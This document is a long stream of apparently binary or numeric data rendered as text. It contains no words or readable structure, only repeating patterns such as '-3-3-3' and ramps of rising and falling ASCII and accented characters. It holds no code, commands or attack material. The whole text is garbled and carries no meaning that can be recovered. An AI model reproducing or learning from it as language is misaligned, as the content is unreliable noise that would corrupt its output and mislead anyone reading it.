3-3-5-8-7-5-2,1-0-0,/+/+/,/-//.2 -4 ,6+7+8-:-<->,> +?!*@"*A$+C%+E'+E()F+(G-(G-)G-)G-)G-(G-)F,)G+)G+)F*(F*)E*)F*)D)(E')E')E'(D&)D&*D&)C%*C$*C$*B#*B#+A"+A!,A -A ,?,>,=-<,<-;-;-9-7-8-7.60504 /3 .2 /1.1./.../../,/-0,1-1.1.1.2-3-3-3-3-5,5,5-5-5-3-3-3-3-3-3,3,3,3,3,3,3,3,3,3-4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,4-5/8193;5=6@8@9B<E=G@HCLEMGNHPJSLUNXR[T\U]W`YbZe]f^h`jblcnepisjulxnzp|ruwxz|}¸źǼʾȾƺĸ¶~|}yzvwstprnoklijgfedb``_]]ZZXVUTRRPOMLKIHEFCB@@=>;:99764310/-,+*(&%$""       " $"&%)',*/-215385:7<:><B@DBFFHIKKNMQPURWUZW\Y_\a`ebjdmfoiqlpotqvsyv{x{~÷ĸǻȽʾ̿ʾȼƹķµ~|zxv}s{qyovmvlriqhofmdkbh_f^d[bY`W_U]RZRWPUNSKRJOIMFKDIBG@E=D<A9?8<693816/6/6.5,5-6-4.4.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,7+5*1*/+0-3/608-:.C;][    [`=;3+3*4,5-5.5,4,3-2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.3-3-3-3-3-3-3-2,2,1-1/00/10407091<1>3@3C1F0I0L1M0O0P0R1V/W/X/Z/\/\-\.^-_.`/b-c.d-e.f.g.h.i-j.k-l-n,n-o-o,q,q,s+t+u,v,w+x+x,y+{+{,},},~++)*+***,-,,-++++*))**+***+****()((('(()))+*,*))++++++++)))))(*,*))*(++-x/o1f/Z-Q1G4=26/10.1,3,5,5,5-5-3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-0-2-2-2.3-3-3-3-3-3-3-3-3-4+3+1+.,--,--..0 /1 /3/5080;-<)=(>!)@#+B&*C()E*)F,)G.(H/&I/'I1&J3&K4&L6%N7%O8%O8%N8%N7&M7%L6%L6%M4%M4%L3%L3%L3$K2$K2%K1&K1%J0%J0%J0%H.%H.&H-&G,&G,%F+'F+*F)*F))D()C&)B&*B$*A$)?"*? *?+=*<*=,</<0;0:.9/7.7-5-4 /3 .2 /0.0./-.,-,---.,.,/,2,2-3-3-4-5-5-3-3-3-3-3-3,3,3,3,3,3,3,3,4,5,5,5,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.6/7081:3=5=6?8@:D=F@IAJCLENGPISLUNXPYR[T^V`XbXc[e]g^i`kbmepgriulxmzo|q}suwy{|~÷Źǻɼ̾ɽƻŹö~|~y|vytvqsnplmjkhhfecba`^^[ZXWVUTSQPOMKJIGFDCAA?><<::8754311./++)(&%$#"     ""%#'&+)-+0-406397;9>;@>B@FBHFJHMKPNSQUSXU[W^Za\c_fcieohrjtmuovszv{w}y|~´ĸƺȼʾȼǻŹ÷~{yw~t|qypwnvlsjqhofmekcjah_e]cZaY^V\T[RYPWNSLQJOINGLEJBH@F>D<A:@8>6<4:2706.5-3-3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,6,4*2*/,0.206/;/E9^W!$),*$ #RU934,2+3.3/5,4,3-2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.1.20111406191<1?0A1D1F2H2J1N0Q0R0T0U/W0Y/[/]/^._-a-a.b.c-d.d.e.f.g-h-j,k-l.m,o.o-p,q,r-r-s-u,u,w,x+y,z,z+|,}-~,,--,+,**+***-,,,,+**)())))******)(((()('(())*)*)*)(())))))))))*)((()(()()++x.p/g1^0S.I1?26002.2-3,4+5,5,5-5-3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-1-2-2-3-4-5-5-5-3-2-2.1-1-0,.,-.,0 +3 +5-6/80:0<0? 0A"/D$+E''F*'G.(H0*J2*K3(L5&M6&N9&N:%P;%O>%P?$Q?#R?!S?#S@#S@#R?"R?"Q?"Q="Q<"Q<"Q;#O;#O:#O:#P9#P9#O8$O8$O8#N8#N7$M7$L6$M4$L4$L3$K3$K2'J1'I0'H0(H.'H-)G-)G,)F*)E))C()B')A%)B$+A"-@ ->->->-=.</;.:/8/9/8/7/6.4 .3 -2 -1-/-/.-/,/-1,1-2-3-3-3-3-3-3-3-4,5,5,5,5,5,5,5,5,5,5,5,5,5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3-3-3-3-3.6/8192;4<7?:A<E>F@GAJCLFOIQKTMUNWPZR\T^V`XbYc[e]g_haldnfqitjvlxnzp|r}twxz{~ŹŹȼʾʾȼƹ÷µz}x{uxrupqnnmljjggdeaa_^Z[YXVVTSQQOMLJIGGECDB@?><;:9875422/.,+)('&%##    "!%$'&*)-+0.306386<9><A>C@EBIEKHMKQNSQVSYU[X^Za\d_gbjemhrkumwpxszu}x~{}´ĶŷǺȽʿ˿ɽƺŹö~|{yv}t{rxovnulrjphofldjah`f^d\bZ`X]V[TZRXPVMSLOJNGLEJDIBG?E=C;A9?7<5;3917/5.4-4,2,3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5-4,2+1,0.2/60?5RI{ $-4$R?#SA#SB"UC#UE"VF!VF WFWE!VF!VE!VF!VE!UD!UC!TC!TB!TA"SA"SA"S@"S@"S?#R?#R>"Q="Q>"R=#P=#P<#P:#O:"O9"N9#N8$M6%M6%L5%L4%K3&J3&K1'I0'I0'H.(G.'F,'E+(E)*D(+C&+C&,B#+A#-A"-@,>->.=.</</;/:/9/8.7.6/5 04 -0.//.//0.0-0-1-1-2-2-3-3-4,4,5,5,5,5,5,5,4,4,4,4,4,4,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-3-2-2,2,2,5-6/7082:4=6>9C;D=E?HAJCMENHQISKTMVOYQ[S]U_W`YbZe]f_ialdnfphsjulwnzp{q|tuwz{}¶÷ƺȼʾʾȼƺŸ¶}{x|uysuqroolmjkgidfab]_[]YZWWTURROOKLIHFFDEBB?>=;:9774511./,,*)(&%##!   !#!%$(&+).+1.406396;9?;B>E@GBIDLHOJQNTQWSZV\X`[c]f_hbjemhpjumxpzs|u}xz}õƷɺ˾̿ʿȽŹø~|zx~u|szrxpumslqjohmfkciag_e]c[aY^W]UZSXQVOTMRKOILGJEICGAF?D<A9?7=5<391706.4-3-3-3-3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4-3,1-1-2.70H?e`%>IMSWZXQH9'QQ844/3/3.3+3*3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,6+7,6,5,3,3-2-2-3.2/203133271:3=3?2A1D2G1J0L0N/Q/S0U0W0Y/[0[0]1_1`0a0c/d/e/g/h/h/i/i.j/k/l.n/o/p/q.r.s.t-v/v.w.x-y.y.z-|-}-,,--,,.,---,+,,,,+,+******((((())))))*****)(((()((()))*+*))((('))((()))((((+***+,w.q0i0`1W2N1D/;032.3-3-3+4+5,5,5-3-3.3-3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,6-7-6,5+2-0----./2 /6-:+<+@+B")E')G+)H.)J0(J2(K4(M6'P8%R:$S=#S?#T@$UA$UC#VD#VF"WG!YI YIYIZKZKZLZL[K YJ YI ZK!YJ!XI XH XH!WG!WF!VF!UE"UE"VD"UD#UC"UB"TB!SA"SA#RA#S@#S?#R>"R="Q>"Q<#P<$P;$P:#O:#O9$N8$N6$M5%L4%K3&J3&J1'I0'I/'H.(H-(G,)F+*F**E(*D&+C$+B",A"-A -@,?->->-=.<.;/:/:081615 04 04 .2.0/.0-0-1-1.1-1,2-3-4-4-4-4-4-3-3-3-3-3-2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-3-3-3-3-4.607193;6?8@:B<D>F?IAKDNFOHPJRLTNXPZS\U]V_XbZd]e^hakclengriskulwnyq|r~uwy{}ķŹƻȽ˿˿ɽǻĸĶ´~{x|vysvqsnplnikficf`c^a\_Z\XYTVQSNPKMIJGHDEBB@?=<::684412./-,+)(&%#!!    !$"&$)',).,1.406295=9>;C>EAHCJELGOJRLUPWSZV]Y_[d]f_ibkdngpksmxp{s}uxz}õĶǸɹ˼̿ʿɽǼƺ÷~|zx~v|sypxounrkpinglejdhaf^d]b[aY_V[TZSWPUNSLQKOHLFIDGBE?D>C;@9=6;4:2907/5-4-3-3-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3/3.3-3-3-3-92RJzw6R\_adfeaZK8( fi <93/202.3+3+3,3-3-3-3-3-3-3-3-3-2,3-3-3-3-3-4-8,7,5,4+2,3-2.0/113325474:2>1B2D2G2I1L1N0Q/S0U/W.Y.[/\0^/`/a0a0c0d0e0f/g/i/j0k0k/l/m/n/o/p.r/s/t/u/v.w.w-y/y.{.|-}.~/.-.-,--,,-,,---,,+,,+,+))))**((())***+**+++++******()*******))((''(((()+**)*)*,,,-{-u/m0g2_3W3N3E0<.40/4-4,4,3+3+4,4-4-3.3.3-4-4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,4,6,7,7,6,5,2+1-./-1 .4/8.<,B#)E&*H*'J/%L3%O7$O:$Q=$Q>#S@"TB#VD!XE!XF!WG XH YI ZJ [K ZL [M]O]P]P]P^Q^R]Q]O\O\N [O [N[M [M![M"YK"ZK!YK"XJ"YJ"YI"XI#WH"WG"WF!VF"VE#UF"VD#UC#TC#TB"SB"SA"S@#S@#S?"R?"R=#P<#Q:#P:$O9%O8%N8%N6&M5&L4%L3%L2&J1%J1'I0'H/(H-)G+(F**F(*E'*D&*C%+B$,B#+A!,@ +?,>.>/>/</;0:09.8/604 02/1/1/0/..-0.1.2.2-2-2.3.3.3-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-3-3-3-3-4.5/606072<5=6>8A:C<F>H@KCLENGPIRKUNWPYR[T\U^W`Zc\e^h`icjeofphrjtlvnyp{s~uwy{}¶øƺɽ̿˽ǻƸŷõ|y}vyuvqsnqkoilficgad_b]^Z\WXTUQSNPLNJKGHDEBB??<<9:673412//-,+((&%$!"     ! $"&%)'-*/,1.317395;8?<A?FBHDKFMIOJSMUPWSZV]Y`\b]g`hbkenhqksmwq{s~vx{}µŷǹɺ˼;ʾȼƺŹö}{yw}u|syqvntmqkohmfldibg`f^d[aY`X^V[SXRWOTNQKPIOGLEHBE@D?B=A:@9<5:3817/6.5,5,3-3-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2/3.5-5,3-4,>5^V(H`iljjjkjdWD4" u{=;40202.3*3+3-3-3-3-3-3-3-3-3-3-3-3-3-2,2,2,3,6,5,3,2,1-1002/4172:4=4?4B2F0J0L1P1Q0T0V0X0Z0\/]/_/a.b.c.d.e/f0g/h/i/j/k/l/m0n1o/p.q.r/s/u/u.w.x.y-z.{-}-}.~..--..--,++,,,--+,-,,++++,,*)()))+***+,,++++++++++++++,+++++++*)+*))((()))**,,,+**+..|.w0r0l1d2]2U4N3D2</40.2-4,5,4,3+3,3,3-3.3.3.3-4-5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,5,7,7,6,5,3,/,..-3 ,7-;.@-D%(H-%K0%N5"P: R>SA UEUGVHXIYJZL\M\N]P]Q^Q_R_S_T`T`U`V`VaVaWaWaV`T_S_S_T ^T^R ^Q ^Q!\Q \P [P![O![N!\M![M"ZL"YL!YK"XK"XI"XJ"XI"WH"VH!VG!UF VD VD!UD!UC!TC TB!S@"T?#S?#R>$R>$Q=$P:%P:$O:#O9#N8#N7$M7$L5%L4&L3'K1(J0(I/)I/)H.*G-)F+)F))E')D')C%*B$+B",A!-@ -?->-=-<-;/;09/7/6.5 .3 .2.0.0///.0.0-1-1.1-1-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2-2-2-3-3-3-3-3-3-4.4.4/91:3;4>7@9C;F>I@JAKDNEOGSJTLVOXPZR\U^WaYc[e]f_galcmepgqjslvmxp|r}t~vxz}~ķƺȼʾ˽ʼȺŷõ|y}xztwrtorlpilgidhbf_b]_Z\XYSVQSOQLNJKGIEECB@@<>::68452300-,+*(&%$""    " $"(%*'-)/,105174:6=9@<D?FCJELHMJPLSNVQYT[W^Ya]d_gajdlfohrkunwqyt|w~y|~¶ķǺɼ˽Ϳɿȼƺĸ¶~|zwu}szrxovmtkqingleibh`f^d\c[bY`V^U[SYPVOTLQJOGMEKDIAF@C>@<>:=8;5:3815/4.3,2,3-4.3.2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.3-6+7,5,5-@8d^ 9Youurnjiig^QA/~>>402/2-3*3+3.4-5,3-3-3-3-3-3-3-4.3-3-2,2,2,2,2-1-1/0/030609/;0?1C1F2H2J/N.S.T/V0X/Z/\/^0`/b-c.d/e.f,g-h-i-j-k.l.m-o-o.q/q0r0r/t.v-w-x-y-z.{,}-~,-+,,-,,-,,++++,*+++++++*+,*****)))***+***++,,+)))++++,,,++,+***++*++,,+*******+----,,,}-z0v1q/l0f0`0X3R3L4D2;031.3-4,5,4,3,3,2,2-2.2.3.3.5-5,5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5-6.5,3,2,0../+4 +9*>)B$*G*(K0'O9#R<#UA!WEYI[M\P[R\T^U_VaWaWaWaXbXcYcYcYcYdZdZd\d\d\d\d\c[bYbXbXbXbXaW`V`U_T_T^T]S]S ]S]Q]Q\P[PZO[N ZOZLZLYKXKWJWJWIWHWHVGUEUDUD TC!TB#SA#SA"S?$R?#R?!R="Q="Q;"O<"O9#N9$O8$N7%L6%M4%L3&K3&J2&J1'J/'J/'I.'H,(G,)G**F)+E'*D&+C$+B#,A!+@ ,?-=,;,;+9+8,7,5 -4 -3 -1,0,...../-.-/,/,0-1-2-3-3-3-4-5,4-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3-3-3-4.5/5072:4<7@9B;E=F?GAJCLEOGPIRKTMVNXQZS]V_XbZd\f^g`jclengoiskumxozq|r}uwy{}ķŹǻɽʿοʽȻƸĶó}{}xzuxrvoslnjlhjfhce`c^_[[WXUURSPRNOKKIHFFBC@@==::8855332/.-,*('%%##!!  " %#'%*(-*0,204275:8<:?=B@FDHFMINKPNSPURYT\W^Z`]c`fbielgoirltnwqzu{wz|÷ƺɽ˿ɽȽŹ·}zyw~t|rypwnvmtjqhnfldhbg_e]d[aYaW_U]R[QYOVMTKPIOFMDKBI@G>D=A;>:<7;593705/4.3-3-3-3-4.3.2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2.0.3-6+7+7,7.B:fa Fdx~~|xromleYJ7 BA502.2,3*3,3/4.5,3-3-3-3-3-3-3-4.3-3-3-3-2,2-202224363:3=1A1E1G/K0M0P1R.V-Y.[/\/^/_/a/b.d/f/g/h0i/k-l+n+m,o,o+p+q-s-t.u.v/v0x.y,{+|,},,---,+,**++++,+++*)**)***+++*)***)))*))****++++++,+))))*******)***,+*+++,+-,+++*++++--.-~,{,x+u-q1m1h0c0]1W1N1H2B2:132.4-6,6,5,4,3,2,2,2-2.2.3/3.5-5,5,4,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5.5.2-1,1./0/5 